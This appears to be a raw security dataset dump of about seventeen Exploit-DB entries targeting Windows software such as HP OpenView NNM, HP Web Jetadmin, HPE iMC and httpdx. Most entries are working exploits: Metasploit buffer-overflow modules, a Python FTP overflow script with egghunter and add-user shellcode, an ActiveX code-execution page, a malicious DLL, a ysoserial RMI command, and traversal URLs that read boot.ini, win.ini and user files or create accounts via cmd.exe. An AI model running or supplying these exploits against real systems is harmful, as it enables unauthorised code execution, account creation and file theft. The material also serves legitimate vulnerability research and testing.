deardaniel/secdata-raw huggingface dataset:
Exploit-DB #16805
Description: HP OpenView Network Node Manager (OV NNM) - 'OpenView5.exe' CGI Buffer Overflow (Metasploit)
Type: remote
Platform: windows
Date: 2010-05-09
Author: Metasploit

Exploit:
##
# $Id: hp_nnm_openview5.rb 9262 2010-05-09 17:45:00Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = GreatRanking

	include Msf::Exploit::Remote::Tcp

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'HP OpenView Network Node Manager OpenView5.exe CGI Buffer Overflow',
			'Description'    => %q{
					This module exploits a stack buffer overflow in HP OpenView Network Node Manager 7.50.
				By sending a specially crafted CGI request, an attacker may be able to execute
				arbitrary code.
			},
			'Author'         => [ 'MC' ],
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision: 9262 $',
			'References'     =>
				[
					[ 'CVE', '2007-6204' ],
					[ 'OSVDB', '39530' ],
					[ 'BID', '26741' ],
				],
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'process',
				},
			'Privileged'     => false,
			'Payload'        =>
				{
					'Space'    => 650,
					'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c",
					'StackAdjustment' => -3500,
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					[ 'HP OpenView Network Node Manager 7.50 / Windows 2000 All', { 'Ret' => 0x5a01d78d } ], # ov.dll
				],
			'DefaultTarget'  => 0,
			'DisclosureDate' => 'Dec 6 2007'))

		register_options( [ Opt::RPORT(80) ], self.class )
	end

	def exploit
		connect

		sploit =  "GET /OvCgi/OpenView5.exe?Context=Snmp&Action=" + rand_text_alpha_upper(5123)
		sploit << [target.ret].pack('V') + payload.encoded

		print_status("Trying target %s..." % target.name)
		sock.put(sploit + "\r\n\r\n")

		handler
		disconnect
	end

end
Exploit-DB #16792
Description: HP OpenView Network Node Manager (OV NNM) - 'OvWebHelp.exe' CGI Buffer Overflow (Metasploit)
Type: remote
Platform: windows
Date: 2010-11-11
Author: Metasploit

Exploit:
##
# $Id: hp_nnm_ovwebhelp.rb 10998 2010-11-11 22:43:22Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = GreatRanking

	include Msf::Exploit::Remote::HttpClient

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'HP OpenView Network Node Manager OvWebHelp.exe CGI Buffer Overflow',
			'Description'    => %q{
					This module exploits a stack buffer overflow in HP OpenView Network Node Manager 7.50.
				By sending a specially crafted CGI request to OvWebHelp.exe, an attacker may be able to execute
				arbitrary code.
			},
			'Author'         => [ 'MC' ],
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision: 10998 $',
			'References'     =>
				[
					[ 'CVE', '2009-4178' ],
					[ 'OSVDB', '60929' ],
					[ 'BID', '37340' ],
				],
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'process',
				},
			'Privileged'     => false,
			'Payload'        =>
				{
					'Space'    => 650,
					'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c",
					'StackAdjustment' => -3500,
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					[ 'HP OpenView Network Node Manager 7.50', { 'Ret' => 0x5a01d78d } ], # ov.dll
				],
			'DefaultTarget'  => 0,
			'DisclosureDate' => 'Dec 9 2009'))

		register_options( [ Opt::RPORT(80) ], self.class )
	end

	def exploit

		sploit = rand_text_alpha_upper(5123) + [target.ret].pack('V') + payload.encoded

		print_status("Trying target #{target.name}...")

		send_request_cgi({
			'uri'		=> "/OvCgi/OvWebHelp.exe",
			'method'	=> "POST",
			'data'		=> "Topic=#{sploit}",
			}, 3)

		handler

	end

end
Exploit-DB #31638
Description: HP OpenView Network Node Manager (OV NNM) 7.x - 'OpenView5.exe?Action' Traversal Arbitrary File Access
Type: remote
Platform: windows
Date: 2008-04-11
Author: Luigi Auriemma

Exploit:
source: https://www.securityfocus.com/bid/28745/info

HP OpenView Network Node Manager is prone to multiple vulnerabilities affecting the 'ovalarmsrv.exe' and 'ovtopmd.exe' processes. These issues include a directory-traversal issue and multiple denial-of-service issues.

UPDATE (April 14, 2008): Secunia Research discovered, independently, that the 'OpenView5.exe' process is also prone to the directory-traversal issue; this affects Network Node Manager 7.51. Note that 'ovalarmsrv.exe' may also be named 'OpenView5.exe'.

Attackers can exploit these issues to access potentially sensitive data on the affected computer or to deny service to legitimate users.

HP OpenView Network Node Manager 7.53 is vulnerable; other versions may also be affected.

http://www.example.com/OvCgi/OpenView5.exe?Target=Main&Action=../../../../../../windows/win.ini
Exploit-DB #25557
Description: HP OpenView Radia Management Portal 1.0/2.0 - Remote Command Execution
Type: remote
Platform: windows
Date: 2005-04-28
Author: David Morgan

Exploit:
source: https://www.securityfocus.com/bid/13414/info

A remote command execution vulnerability affects HP OpenView Radia Management Portal. This issue is due to a failure of the application to properly secure access to critical functionality. This is due to a directory traversal issue that will permit a remote user to execute any program on the affected computer.

An unauthenticated, remote attacker may leverage this issue to execute arbitrary commands on an affected computer with Local System privileges on the Microsoft Windows platform and elevated privileges on UNIX-based platforms. 

bash$ printf "\x00\x00\x00../../windows/system32/whoami.exe\x00" | nc -v
xx.xx.xx.xx 1065
Exploit-DB #5511
Description: HP Software Update - 'Hpufunction.dll 4.0.0.1' Insecure Method
Type: remote
Platform: windows
Date: 2008-04-27
Author: callAX

Exploit:
&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&
Insecure Methods in HP Update Software.
Remote: Yes
Execute code remotely is possible using methods ExecuteAsync and Execute  :-) 
If a user visits the malicious page the attacker can execute code.
Coded by callAX
&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&

Proof of Concept
----------------


<HTML>
<BODY>
<object id=boom classid="clsid:{B00FBC78-73CB-4216-8D01-96770CC020C3}"></object>
<SCRIPT language="javascript">


function Do_it()
{
  var Please = "c:\\windows\\system32\\calc.exe"
  var Give = "doest_matter"
  var Me = "c:\\"
  var Freedom  = 1;

  boom.ExecuteAsync (Please, Give, Me ,Freedom);
}


</SCRIPT>
<input language=JavaScript onclick=Do_it() type=button value="Poc">
</BODY>
</HTML>

# milw0rm.com [2008-04-27]
Exploit-DB #5738
Description: HP StorageWorks - NSI Double Take Remote Overflow (Metasploit)
Type: remote
Platform: windows
Date: 2008-06-04
Author: ri0t

Exploit:
##
# $Id: doubletake.rb 4529 2007-03-23 01:08:18Z $
##

##
# This file is part of the Metasploit Framework and may be subject to 
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/projects/Framework/
##


require 'msf/core'

module Msf

class Exploits::Windows::Misc::Doubletake < Msf::Exploit::Remote
	include Exploit::Remote::Tcp
	include Exploit::Remote::Seh
	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'doubletake Overflow',
			'Description'    => %q{
					This Module Exploits a stack overflow in the authentication mechanism of NSI Doubletake which is also rebranded
					as hp storage works Vulnerability found by Titon of Bastard Labs.
			},
			'Author'         => [ 'ri0t <ri0t[at]ri0tnet.net>' ],
			'Version'        => '$Revision: 9 $',
			'References'     => 
				[
				],
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'process',
				},
			'Payload'        =>
				{
					'Space'    => 500,
					'BadChars' => "\x00",
				},
			'Platform'       => 'win',
			
			'Targets'        =>
				[
					['doubletake 4.5.0',    { 'Ret' =>  0x006f5fa7, 'Offset' => 5544 } ],
					['doubletake 4.4.2', { 'Ret' => 0x0074e307, 'Offset' => 944 } ],  
					['doubletake 4.5.0.1819', { 'Ret' => 0x006e62dd, 'Offset' => 5544 } ],
				],
			 'DefaultTarget' => 0,

			'Privileged'     => false,

			'DisclosureDate' => ''

			))

			register_options(
			[
				Opt::RPORT(1100)
			], self.class)
	end

	def exploit
                xor = Rex::Encoding::Xor::Byte
		connect

		print_status("Trying target #{target.name}...")

                header = 
               "\x00\x02\x00\x01\x27\x30\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
               "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x36\x00\x00\x00\x00"+
               "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01"+
               "\x00\x00\x00\x1e\x00\x00\x00\x01\x00\x01"

		filler =  rand_text_english(1) * (target['Offset'])
		seh = generate_seh_payload(target.ret)
                buffercoded= xor.encode(seh+payload.encoded, [0xf0].pack("C"))
		sploit =  header + filler + buffercoded[0]
		sock.put(sploit)
		handler
		disconnect	
	end

end
end

# milw0rm.com [2008-06-04]
Exploit-DB #23880
Description: HP Web Jetadmin 7.5.2456 - Arbitrary Command Execution
Type: remote
Platform: windows
Date: 2004-03-24
Author: wirepair

Exploit:
source: https://www.securityfocus.com/bid/9973/info

Reportedly HP web Jetadmin is prone to a remote arbitrary command execution vulnerability. This issue is due to a failure of the application to properly validate and sanitize user supplied input.

Successful exploitation of this issue will allow a malicious user to execute arbitrary commands on the affected system.

This issue has been tested with an authenticated account on HP Web Jetadmin version 7.5.2546 running on a Windows platform.

/plugins/hpjfpmui/script/wja_update_product.hts:
(Changed the value of obj to our DoS function)
<FORM onsubmit="return VerifyUpload(this)" action=wja_update_product.hts
method=post encType=multipart/form-data>
<INPUT type=hidden value=[[httpd:RemoveCacheFiles($dir$)]] name=obj> <INPUT
type=hidden value=true name=__save>
<INPUT type=hidden value=0 name=packageCount> <INPUT type=hidden value=blah.fpm name=goodFilename>

The following proof of concept that will create a user account has been provided by H D Moore <sflist@digitaloffense.net>:

https://<target>:8443/plugins/framework/script/tree.xms?obj=httpd:WriteToFile([$__installdir$]conf/portlisten.conf,Listen%208000%0A%0DAccessLog%20"|../../../../../../winnt/system32/cmd.exe%20/c%20net%20user%20P%20P%20/ADD")
Exploit-DB #23878
Description: HP Web Jetadmin 7.5.2456 - Printer Firmware Update Script Arbitrary File Upload
Type: remote
Platform: windows
Date: 2004-03-24
Author: wirepair

Exploit:
source: https://www.securityfocus.com/bid/9971/info

HP Web Jetadmin is prone to an issue which may permit remote users to upload arbitrary files to the management server. 

This issue exists in the printer firmware update script. Given the ability to place arbitrary files on the server to an attacker-specified location, it may be possible to execute arbitrary code, though this will require exploitation of other known vulnerabilities, such as BID 9972 "HP Web Jetadmin setinfo.hts Script Directory Traversal Vulnerability".

Authentication, if it has been enabled, would be required to exploit this issue.

This issue was reported in HP Web Jetadmin version 7.5.2546 on a Windows platform. Other versions may be similarly affected.

https://www.example.com:8443/plugins/hpjwja/script/devices_update_printer_fw_upload.hts
Exploit-DB #23879
Description: HP Web Jetadmin 7.5.2456 - setinfo.hts Script Directory Traversal
Type: remote
Platform: windows
Date: 2004-03-24
Author: wirepair

Exploit:
source: https://www.securityfocus.com/bid/9972/info

It has been reported that HP Web JetAdmin may be prone to a directory traversal vulnerability allowing remote attackers to access information outside the server root directory. The problem exists due to insufficient sanitization of user-supplied data passed via the 'setinclude' parameter of 'setinfo.hts' script.

This vulnerability can be combined with HP Web Jetadmin Firmware Update Script Arbitrary File Upload Weakness (BID 9971) to upload malicious files to a vulnerable server in order to gain unauthorized access to a host. 

This issue has been tested with an authenticated account on HP Web Jetadmin version 7.5.2546 running on a Windows platform.

https://www.example.com:8443/plugins/hpjdwm/script/test/setinfo.hts?setinclude=../../../../../../../boot.ini
https://www.example.com:8443/plugins/hpjdwm/script/test/setinfo.hts?setinclude=../../../../../auth/local.users
https://www.example.com:8443/plugins/hpjdwm/script/test/setinfo.hts?setinclude=../../../hpjwja/firmware/printer/test.inc
Exploit-DB #43927
Description: HPE iMC 7.3 - RMI Java Deserialization
Type: remote
Platform: windows
Date: 2018-01-30
Author: Chris Lyne

Exploit:
# Exploit Title: HPE iMC 7.3 Java RMI Registry Deserialization RCE Vulnerability
# Date: 01-28-2018
# Exploit Author: Chris Lyne (@lynerc)
# Vendor Homepage: www.hpe.com
# Software Link: https://h10145.www1.hpe.com/Downloads/DownloadSoftware.aspx?SoftwareReleaseUId=19068&ProductNumber=JG747AAE&lang=en&cc=us&prodSeriesId=4176535&SaidNumber=
# Version: iMC PLAT v7.3 (E0504) Standard
# Tested on: Windows Server 2008 R2 Enterprise 64-bit
# CVE : CVE-2017-5792
# See Also: http://zerodayinitiative.com/advisories/ZDI-18-137/

# note that this PoC will launch calc.exe

$ java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.RMIRegistryExploit 192.168.1.100 21195 CommonsBeanutils1 calc.exe
Exploit-DB #36500
Description: HServer 0.1.1 - Directory Traversal
Type: remote
Platform: windows
Date: 2012-01-05
Author: demonalex

Exploit:
source: https://www.securityfocus.com/bid/51286/info

HServer web server is prone to a directory-traversal vulnerability because it fails to sufficiently sanitize user-supplied input submitted to its web interface.

Exploiting this issue will allow an attacker to view arbitrary files within the context of the web server. Information harvested may aid in launching further attacks.

HServer 0.1.1 is vulnerable; other versions may also be affected. 

http://www.example.com/..%5c..%5c..%5cboot.ini
http://www.example.com/..%5c..%5c..%5cwindows%5csystem32%5cdrivers%5cetc%5chosts
http://www.example.com/%2e%2e%5c%2e%2e%5c%2e%2e%5cboot.ini
http://www.example.com/%2e%2e%5c%2e%2e%5c%2e%2e%5cwindows%5csystem32%5cdr ivers%5cetc%5chosts
Exploit-DB #38694
Description: HTC Sync Manager - Multiple DLL Loading Arbitrary Code Execution Vulnerabilities
Type: remote
Platform: windows
Date: 2013-08-11
Author: Iranian_Dark_Coders_Team

Exploit:
source: https://www.securityfocus.com/bid/61745/info

HTC Sync Manager is prone to multiple arbitrary code-execution vulnerabilities.

An attacker can exploit these issues by enticing a legitimate user to use the vulnerable application to open a file from a network share location that contains a specially crafted Dynamic Link Library (DLL) file.

HTC Sync Manager 2.1.46.0 is vulnerable; other versions may also be affected. 

#include <windows.h>
#define DllExport __declspec (dllexport)
DllExport void DwmSetWindowAttribute() { egg(); }

int egg()
{
    system ("calc");
        exit(0);
        return 0;
}
Exploit-DB #33852
Description: HTTP 1.1 - GET Directory Traversal
Type: remote
Platform: windows
Date: 2010-06-20
Author: chr1x

Exploit:
source: https://www.securityfocus.com/bid/39590/info

The HTTP application is prone to a directory-traversal vulnerability because it fails to sufficiently sanitize user-supplied input.

Exploiting this issue will allow an attacker to view arbitrary local files and directories within the context of the webserver. Information harvested may aid in launching further attacks.

HTTP 1.1 is vulnerable; other versions may also be affected. 

GET /..\..\\..\..\\..\..\\..\..\\\boot.ini HTTP/1.0
Exploit-DB #2974
Description: Http explorer Web Server 1.02 - Directory Traversal
Type: remote
Platform: windows
Date: 2006-12-21
Author: str0ke

Exploit:
# Http explorer Web Server 1.02 Directory Transversal Vulnerability
# http://sourceforge.net/projects/http-explorer/
# Test:  http://[site]/../../../../ || http://[site]/../
# /str0ke

use LWP::Simple;
use strict;

sub usage
{
    print "Http explorer Web Server 1.02 Directory Transversal Vulnerability\n";
    print "str0ke (milw0rm.com)\n";
    print "Usage: $0 www.example.com\n";
    exit ();
}

my $host= shift || &usage;

getprint "http://" . $host . "/../../../../../../../../boot.ini";

# milw0rm.com [2006-12-21]
Exploit-DB #33841
Description: HTTP File Server 2.2 - Security Bypass / Denial of Service
Type: remote
Platform: windows
Date: 2010-04-19
Author: Luigi Auriemma

Exploit:
source: https://www.securityfocus.com/bid/39544/info

HTTP File Server is prone to multiple vulnerabilities including a security-bypass issue and a denial-of-service issue.

Exploiting these issues will allow an attacker to download files from restricted directories within the context of the application or cause denial-of-service conditions. 

http://www.example.com/protected_folder/secret_file.txt%00
http://www.example.com/?search=%25%25
Exploit-DB #15861
Description: httpdasm 0.92 - Directory Traversal
Type: remote
Platform: windows
Date: 2010-12-29
Author: John Leitch

Exploit:
# ------------------------------------------------------------------------

# Software................httpdASM 0.92

# Vulnerability...........Directory Traversal

# Download................http://www.japheth.de/httpdASM.html

# Release Date............12/27/2010

# Tested On...............Windows XP

# ------------------------------------------------------------------------

# Author..................John Leitch

# Site....................http://www.johnleitch.net/

# Email...................john.leitch5@gmail.com

# ------------------------------------------------------------------------

# 

# --Description--
# 
# A directory traversal vulnerability in httpdASM 0.92 can be exploited
# to read files outside of the webroot directory.
# 
# 
# --Exploit--
# 
# %2E%2E%5C
# %2E%2E%2F
# 
# 
# --PoC--



import socket

host = 'localhost'
port = 80

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(8)
s.connect((host, port))
s.send('GET /' + '%2E%2E%5C' * 8 + 'boot.ini HTTP/1.1\r\n'
       'Host: ' + host + '\r\n\r\n');

print s.recv(8192);
Exploit-DB #8732
Description: httpdx 0.5b - FTP Server (CWD) Remote Buffer Overflow (SEH)
Type: remote
Platform: windows
Date: 2009-05-19
Author: His0k4

Exploit:
#!/usr/bin/python
#[*] Usage : httpdx_cwd.py [target_ip] user pass 
#[*] Example : httpdx_cwd.py 192.168.1.3 ftp 123
# Stack encouraged me to exploit this bug , so thx brotha
# _  _   _         __    _     _ _  
#| || | (_)  ___  /  \  | |__ | | | 
#| __ | | | (_-< | () | | / / |_  _|
#|_||_| |_| /__/  \__/  |_\_\   |_| 
#
#[*] Bug     : httpdx <= 0.5b FTP Server (CWD) Remote BOF Exploit (SEH)
#[*] Refer :  sico2819
#[*] Tested on :    Xp sp3 (EN)(VB)
#[*] Exploited by : His0k4
#[*] Greetings :    All friends & muslims HaCkErs (DZ),Algerians Elites,snakespc.com
#[*] Serra7 Merra7 koulchi mderra7 :p

#[x] Note : I used the case when idm is installed because its dll (idmmbc.dll) is loaded with httpdx.

import socket,sys,struct

def banner():
        print "\nhttpdx <= 0.5b FTP Server (CWD) Remote Buffer Overflow Exploit.\n"
        print "By: His0k4\n"
 
if len(sys.argv)!=4:
        banner()
        print "Usage: %s <ip> <user> <pass>" %sys.argv[0]
        sys.exit(0)

# skape's egghunter shellcode
shellunt=(
"\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74"
"\xef\xb8\x44\x7A\x32\x37\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7")

# win32_adduser -  PASS=27 EXITFUNC=seh USER=dz Size=228 Encoder=PexFnstenvSub http://metasploit.com
shellcode=(
"\x44\x7A\x32\x37\x44\x7A\x32\x37\x29\xc9\x83\xe9\xcd\xd9\xee\xd9"
"\x74\x24\xf4\x5b\x81\x73\x13\x05\x16\xf2\x06\x83\xeb\xfc\xe2\xf4"
"\xf9\xfe\xb6\x06\x05\x16\x79\x43\x39\x9d\x8e\x03\x7d\x17\x1d\x8d"
"\x4a\x0e\x79\x59\x25\x17\x19\x4f\x8e\x22\x79\x07\xeb\x27\x32\x9f"
"\xa9\x92\x32\x72\x02\xd7\x38\x0b\x04\xd4\x19\xf2\x3e\x42\xd6\x02"
"\x70\xf3\x79\x59\x21\x17\x19\x60\x8e\x1a\xb9\x8d\x5a\x0a\xf3\xed"
"\x8e\x0a\x79\x07\xee\x9f\xae\x22\x01\xd5\xc3\xc6\x61\x9d\xb2\x36"
"\x80\xd6\x8a\x0a\x8e\x56\xfe\x8d\x75\x0a\x5f\x8d\x6d\x1e\x19\x0f"
"\x8e\x96\x42\x06\x05\x16\x79\x6e\x39\x49\xc3\xf0\x65\x40\x7b\xfe"
"\x86\xd6\x89\x56\x6d\xe6\x78\x02\x5a\x7e\x6a\xf8\x8f\x18\xa5\xf9"
"\xe2\x75\x9f\x62\x2b\x73\x8a\x63\x25\x39\x91\x26\x6b\x73\x86\x26"
"\x70\x65\x97\x74\x25\x72\x88\x26\x37\x21\xd2\x29\x44\x52\xb6\x26"
"\x23\x30\xd2\x68\x60\x62\xd2\x6a\x6a\x75\x93\x6a\x62\x64\x9d\x73"
"\x75\x36\xb3\x62\x68\x7f\x9c\x6f\x76\x62\x80\x67\x71\x79\x80\x75"
"\x25\x72\x88\x26\x2a\x57\xb6\x42\x05\x16\xf2\x06")

payload = '\x41'*26
payload += shellunt
payload += '\xEB\xDE\x90\x90'
payload += '\x87\x23\x02\x10'
payload += '\x44'*900

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
	s.connect((sys.argv[1],21))
except:
	print "Can\'t connect to server!\n"
	sys.exit(0)

s.recv(1024)
s.send('USER '+sys.argv[2]+'\r\n')
s.recv(1024)
s.send('PASS '+sys.argv[3]+'\r\n')
s.recv(1024)
s.send('MKD '+shellcode+'\r\n') # i placed the shellcode in the MKD command ;)
s.recv(1024)
s.send('CWD '+payload+'\r\n')
print ("Egghunter is hunting...;)")
raw_input("[+] Shellcode will be executed when httpdx get closed")
s.close()

# milw0rm.com [2009-05-19]